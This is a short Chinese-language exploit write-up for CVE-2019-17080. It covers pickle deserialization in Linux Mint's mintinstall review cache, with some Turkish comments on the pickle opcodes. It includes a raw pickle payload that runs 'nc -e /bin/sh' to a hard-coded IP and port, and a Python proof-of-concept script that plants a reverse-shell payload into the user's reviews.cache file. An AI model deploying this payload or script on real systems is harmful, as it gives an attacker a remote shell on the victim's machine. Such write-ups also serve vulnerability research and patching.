(CVE-2019-17080)Mintinstall object injection

一、漏洞简介

Linux mint软件管理器(v 7.9.5 / 9)由于配置错误而导致对象注入和任意代码执行。

Linux Mint Software Manager(v 7.9.5 / 9)由于配置错误而导致我们执行对象注入和任意代码

二、漏洞影响

Version: 7.9.9

三、复现过程

mintinsall

我们运行Mint软件管理器还会检查是否有新注释,如果new-reviews.list 下载中有 新注释并写入文件。

如果有新评论,请从文件new-reviews.list下载并写入文件

code mintinstall.py

首次启动软件管理器时,它会从评论模块调用ReviewCache()类。

它如何处理数据?

code reviews.py

当ReviewCache类启动(init)时,它将调用_load_cache()函数。

加载缓存功能读取REVIEWS_CACHE变量中的文件,并在pickle模块的帮助下,对文件中的数据进行反序列化并在内存中保存一些值

当我检查文件时,看起来好像可以写文件。

Pickle 因为我们可以使用模块执行序列化/反序列化操作,所以可以包含模块并使用reduce方法执行任意代码。

如果您尝试反序列化文件,则我们的恶意代码将起作用。

cos 
system 
(S'nc -e /bin/sh 192.168.2.138 4545' 
tR.
>>modül adı c{os}
>> fonksiyon
( >> işaretleyici nesnesi 
S >> tırnak sonuna kadar okuyup stack'e at
tR. >> stackte olanları çagır ve sonucu stacke yerleştir.

alt-text

poc

import os
import sys
def shellCode(payload):
    with open(f"{os.getenv('HOME')}/.cache/mintinstall/reviews.cache","w") as wb:
        wb.write(payload)
    print("[+] Start mintinstall")
if __name__=="__main__":
    shellCode(f"""cos\nsystem\n(S"nc -e /bin/sh {sys.argv[1]} {sys.argv[2]}"\ntR.""")
else:
    print("[!] exploit.py [IP] [PORT]"